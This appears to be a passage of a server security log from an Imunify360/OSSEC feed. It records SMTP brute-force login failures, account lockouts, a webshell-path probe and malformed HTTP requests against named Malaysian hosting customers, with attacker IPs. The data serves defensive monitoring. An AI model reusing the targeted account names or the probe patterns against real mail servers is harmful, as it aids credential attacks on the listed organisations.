name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:11:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:12:12 dovecot_login authenticator failed for H=(HFWD66Jhna) [178.16.54.22]:51288: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:12:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:12:19 dovecot_login authenticator failed for H=(Y0Uo27QSxp) [178.16.52.139]:53291: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:12:20 dovecot_login authenticator failed for H=(dWbiM1n) [158.94.208.175]:52795: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/print-2/images/contact.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 06:12:06 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:32856: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:12:17 dovecot_login authenticator failed for H=(gv0Hb6Wayo) [158.94.208.215]:55978: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.53
country_id: 1668284
description:
2026-02-01 06:12:57 dovecot_login authenticator failed for H=110-25-109-53.adsl.fetnet.net [110.25.109.53]:50341: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:12:22 dovecot_login authenticator failed for H=(zThSt2Ps) [178.16.52.139]:49403: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:12:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:12:13 dovecot_login authenticator failed for H=(KaO7TUH) [185.36.81.54]:56856: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:12:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.90
country_id: 1269750
description:
2026-02-01 06:13:05 dovecot_login authenticator failed for H=([182.95.26.141]) [125.23.237.90]:45258: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:13:05 dovecot_login authenticator failed for H=(xRtczT5DrL) [158.94.208.215]:56418: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:13:16 dovecot_login authenticator failed for H=(AgdpRV) [178.16.52.139]:64985: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:13:19 dovecot_login authenticator failed for H=(H0YFWigZh) [185.36.81.54]:58062: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:13:16 dovecot_login authenticator failed for H=(0lXHF5l4kV) [158.94.208.175]:64760: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 06:13:58 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:46878: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:13:21 dovecot_login authenticator failed for H=(e0GPEF) [178.16.54.22]:57792: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:14:14 dovecot_login authenticator failed for H=(eKZvNAL) [158.94.208.175]:50476: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:14:10 dovecot_login authenticator failed for H=(o95JjfM) [185.36.81.54]:63236: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:14:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 06:14:48 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:14:07 dovecot_login authenticator failed for H=(k7JsuDO1s) [178.16.54.22]:63552: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 06:14:32 dovecot_login authenticator failed for H=([125.61.36.22]) [125.61.36.22]:58471: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:14:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:14:15 dovecot_login authenticator failed for H=(bEdeSR) [178.16.52.139]:54383: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:14:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.10.56.131
country_id: 1835841
description:
2026-02-01 06:14:49 dovecot_login authenticator failed for H=([59.10.56.129]) [59.10.56.131]:37838: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:14:17 dovecot_login authenticator failed for H=(oKW6vh) [158.94.208.215]:54783: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.161.152
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/news-detail-7.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:14:39 dovecot_login authenticator failed for H=(1zgCXyYcb) [178.16.52.139]:51494: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:15:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:15:03 dovecot_login authenticator failed for H=(678xUfcs) [158.94.208.215]:64733: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:15:07 dovecot_login authenticator failed for H=(6YTZUP) [178.16.52.139]:56514: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:15:11 dovecot_login authenticator failed for H=(feb8i7mbN7) [158.94.208.175]:54655: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 06:15:30 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:47466: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:15:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:15:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 06:15:19 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:41955: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:15:02 dovecot_login authenticator failed for H=(IBdiQeRUdH) [185.36.81.54]:56930: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:16:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:16:15 dovecot_login authenticator failed for H=(YGMR4W) [158.94.208.215]:62248: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:16:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55343: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:16:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:16:29 dovecot_login authenticator failed for H=(OEHWLCsV) [185.36.81.54]:50852: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:16:08 dovecot_login authenticator failed for H=(G3bOCdCVHq) [158.94.208.175]:58259: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.149
country_id: 2635167
description:
2026-02-01  6:16:13 205477 [Warning] Aborted connection 205477 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.149' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.194
country_id: 1269750
description:
2026-02-01 06:16:47 dovecot_login authenticator failed for H=(nsg-corporate-194.229.187.122.airtel.in) [122.187.229.194]:33980: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:16:09 dovecot_login authenticator failed for H=(QlxqOQJdd) [178.16.52.139]:50464: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:16:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 06:16:09 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:58886: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 06:17:12 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:58336: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 06:17:41 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:35536: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:17:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:17:03 dovecot_login authenticator failed for H=(VawUzPds) [158.94.208.215]:56474: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:17:27 dovecot_login authenticator failed for H=(2PkCzXcX) [185.36.81.54]:56401: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-02-01 06:17:45 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:25544: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:17:05 dovecot_login authenticator failed for H=(J41IvLHSBl) [158.94.208.175]:64459: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:17:11 dovecot_login authenticator failed for H=(aeFYMPn) [178.16.52.139]:55388: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:17:21 dovecot_login authenticator failed for H=(iQFboTA2) [178.16.52.139]:56918: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:17:23 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53934: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:17:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:17:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:18:02 dovecot_login authenticator failed for H=(Xu0QdC) [178.16.52.139]:56723: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:18:04 dovecot_login authenticator failed for H=(Kdg74QP9Hr) [158.94.208.175]:53810: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-02-01 06:18:05 dovecot_plain authenticator failed for H=(bouts) [96.85.104.2]:57498: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:18:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63425: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:18:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.0.140
country_id: 2017370
description:
2026-02-01 06:19:01 dovecot_login authenticator failed for H=([31.173.0.140]) [31.173.0.140]:42434: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:18:15 dovecot_login authenticator failed for H=(g47NUi) [158.94.208.215]:55561: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:18:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:18:23 dovecot_login authenticator failed for H=(qkKfw1JHi) [185.36.81.54]:52021: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.124.174
country_id: 1269750
description:
2026-02-01 06:18:53 dovecot_login authenticator failed for H=([182.95.124.174]) [182.95.124.174]:32970: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:18:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:18:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:19:36 dovecot_login authenticator failed for H=(ghPqV3e6ZI) [178.16.52.139]:54693: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.45.35.54
country_id: 2589581
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/uncle/15/466/1588906 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:19:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:19:05 dovecot_login authenticator failed for H=(duFcM8uR) [178.16.52.139]:61823: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:19:08 dovecot_login authenticator failed for H=(8pU5Ym5qTF) [158.94.208.175]:59292: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:19:03 dovecot_login authenticator failed for H=(pMfY60dAf) [158.94.208.215]:59531: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:19:06 dovecot_login authenticator failed for H=(8jKPP9r) [185.36.81.54]:52193: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:20:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:20:15 dovecot_login authenticator failed for H=(ZLjI1NVR8) [158.94.208.215]:65466: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:20:03 dovecot_login authenticator failed for H=(97uerAj) [185.36.81.54]:58819: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-02-01 06:20:52 dovecot_login authenticator failed for H=([185.112.148.66]) [185.112.148.66]:37337: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.179.36
country_id: 2510769
description:
2026-02-01 06:21:00 dovecot_login authenticator failed for H=36.red-80-29-179.dynamicip.rima-tde.net [80.29.179.36]:43446: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.238
country_id: 6252001
description:
2026-02-01  6:20:36 205634 [Warning] Aborted connection 205634 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.238' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:20:10 dovecot_login authenticator failed for H=(lw2FbDj) [178.16.54.22]:63381: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.45.210
country_id: 953987
description:
2026-02-01 06:20:29 dovecot_plain authenticator failed for H=(Johan-PC) [102.64.45.210]:55706: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:20:04 dovecot_login authenticator failed for H=(yZU9BpFurd) [178.16.52.139]:60685: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:20:08 dovecot_login authenticator failed for H=(6CXiVyaO) [158.94.208.175]:54742: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.162.47
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=48 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 06:21:37 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:43765: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:21:44 dovecot_login authenticator failed for H=(v8by6W) [178.16.52.139]:60712: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 06:21:48 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:57894: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:21:04 dovecot_login authenticator failed for H=(INetQRhEE) [158.94.208.215]:52514: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.145.118.40
country_id: 3175395
description:
2026-02-01 06:21:05 dovecot_plain authenticator failed for H=net-93-145-118-40.cust.vodafonedsl.it (bilit) [93.145.118.40]:43946: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:21:19 dovecot_login authenticator failed for H=(ptT2GWuRC) [178.16.54.22]:57017: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:21:26 dovecot_login authenticator failed for H=(kvCp0S) [185.36.81.54]:51822: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:22:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:21:03 dovecot_login authenticator failed for H=(AvixnfVF) [178.16.52.139]:58580: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:21:13 dovecot_login authenticator failed for H=(wgXZon) [158.94.208.175]:64842: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:22:02 dovecot_login authenticator failed for H=(dONhlGdM) [178.16.52.139]:60723: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:22:05 dovecot_login authenticator failed for H=(DyLGNkIXOo) [178.16.54.22]:55201: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:22:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:22:22 dovecot_login authenticator failed for H=(efpdJldgKA) [158.94.208.175]:61511: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:22:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:22:16 dovecot_login authenticator failed for H=(oimWcJ1o) [158.94.208.215]:56526: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:22:20 dovecot_login authenticator failed for H=(I4EPy1y) [185.36.81.54]:55789: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
